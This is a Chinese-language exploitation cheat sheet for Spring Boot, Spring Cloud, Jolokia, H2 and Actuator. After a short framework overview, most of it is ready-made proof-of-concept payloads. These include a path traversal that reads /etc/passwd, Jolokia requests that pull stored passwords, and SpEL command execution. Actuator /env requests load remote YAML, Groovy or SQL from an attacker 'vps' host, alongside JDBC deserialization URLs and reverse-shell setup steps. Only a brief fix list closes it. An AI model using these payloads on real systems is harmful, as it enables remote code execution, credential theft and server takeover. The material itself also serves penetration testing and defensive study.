Java之SpringBoot漏洞利用姿势合集总结详细版
字数 2682 2025-08-22 18:37:22
SpringBoot漏洞利用姿势合集详细教学文档
一、Spring框架概述
Spring生态系统包含五个关键部分:
- Spring Framework核心架构:提供依赖注入(IoC)、面向切面编程(AOP)、数据访问和事务管理等基础功能
- Spring MVC:用于构建Web应用程序和RESTful服务的MVC框架
- Spring Boot:基于Spring Framework,提供自动配置、内嵌服务器、快速启动等功能
- Spring Cloud:基于Spring Boot,提供构建分布式系统和微服务的工具
- Spring Security:为Spring应用提供认证和授权功能
二、Spring Boot自动配置原理
关键注解
@SpringBootApplication@SpringBootConfiguration@ComponentScan@EnableAutoConfiguration@AutoConfigrationPackage@EnableConfigurationProperties
自动加载机制
Spring Boot启动时会:
- 在依赖的starter包中寻找
resources/META-INF/spring.factories文件 - 根据文件配置扫描项目依赖的Jar包(类似Java的SPI机制)
- 根据
@Conditional注解条件进行自动配置并将Bean注入Spring Context
三、Spring Boot漏洞利用姿势
1. 文件包含漏洞(CVE-2021-21234)
- 环境:vulfocus.cn
- POC:
/manage/log/view?filename=/etc/passwd&base= - 修复方案:升级到0.2.13版本
2. 信息泄露漏洞
常见泄露接口:
/v2/api-docs/swagger-ui.html/env(获取参数信息)/mappings/metrics/beans/configprops/actuator/metrics/actuator/mappings/actuator/beans/actuator/configprops
3. 敏感信息明文获取
利用条件:存在/jolokia或/actuator/jolokia接口
POC:
// Spring 1.x
POST /jolokia
Content-Type: application/json
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": ["security.user.password"]
}
// Spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": ["security.user.password"]
}
4. Whitelabel Error Page RCE
漏洞原理:使用Spring Boot默认错误页处理参数时,${}包围的内容会被当作SpEL表达式解析执行
测试步骤:
- 测试是否存在Whitelabel Error Page
- 通过fuzz参数值(如id、sid)触发500报错
- 测试SpEL表达式注入
POC生成脚本:
input_string = "open -a Calculator"
hex_list = []
for ch in input_string:
hex_list.append(f"0x{ord(ch):02x}")
hex_string = ', '.join(hex_list)
print(hex_string)
测试POC:
- 测试漏洞存在:
${6*6}(返回36则存在) - 执行命令:
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
5. Spring Cloud SnakeYAML RCE
利用条件:
- 存在
/env或/actuator/env泄露 - 存在
spring-boot-starter-actuator - 目标主机可出网
- 版本小于1.3.0.RELEASE
利用步骤:
- 在VPS上创建恶意YML文件并编译JAR
- 设置
spring.cloud.bootstrap.location属性 - 刷新配置
POC:
// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
// Spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://vps:port/exp.yml
6. MySQL JDBC反序列化RCE
利用条件:
- 存在
mysql-connector-java依赖 - 存在常见反序列化gadget依赖(如commons-collections等)
POC:
-- mysql-connector-java 5.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
-- mysql-connector-java 8.x
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
7. H2 Database Console JNDI RCE
利用条件:
- 存在
/h2-console界面 - 配置了
spring.h2.console.enabled=true - 配置了
spring.h2.console.settings.web-allow-others=true
利用步骤:
- 使用JNDI-Injection-Exploit工具生成恶意代码
- 开启VPS监听
- 访问H2控制台执行攻击
8. Jolokia Logback JNDI RCE
利用条件:
- 存在
/jolokia或/actuator/jolokia接口 - 使用
jolokia-core依赖 - 目标可出网
- JDK版本限制:< 6u201/7u191/8u182/11.0.1
利用步骤:
- 创建恶意XML文件
- 编写反弹shell代码并编译
- 开启LDAP服务
- 远程加载配置文件触发RCE
9. Jolokia XXE任意文件读取
利用条件:
- 存在
/jolokia/list接口 - 存在logback库提供的
reloadByURL方法
利用步骤:
- 创建恶意XML和DTD文件
- 开启VPS监听
- 请求远程文件触发XXE
四、Spring Boot Actuator漏洞
1. restart logging.config groovy RCE
利用条件:
- 存在
/actuator/restart接口 - 存在groovy依赖
POC:
// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://vps:port/exp.groovy
// Spring 2.x
POST /actuator/env
Content-Type: application/json
{
"name": "logging.config",
"value": "http://vps:port/exp.groovy"
}
2. restart spring.main.sources groovy RCE
POC:
// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://vps:port/exp.groovy
// Spring 2.x
POST /actuator/env
Content-Type: application/json
{
"name": "spring.main.sources",
"value": "http://vps:port/exp.groovy"
}
3. restart logback JNDI RCE
利用条件:
- JNDI服务返回的object需要实现
javax.naming.spi.ObjectFactory接口 - 存在
/env和/restart接口
利用步骤:
- 创建恶意XML文件
- 开启LDAP服务
- 设置
logging.config属性 - 重启应用
4. restart h2database SQL RCE
利用条件:
- 存在
/env和/restart接口 - 存在
h2database和spring-boot-starter-data-jpa依赖
POC:
// Spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
// Spring 2.x
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://vps:port/exp.sql
五、修复建议
- 及时升级Spring Boot和相关组件到最新版本
- 禁用不必要的Actuator端点
- 对Actuator端点实施访问控制
- 避免在生产环境开启调试功能
- 限制外部访问H2控制台等管理界面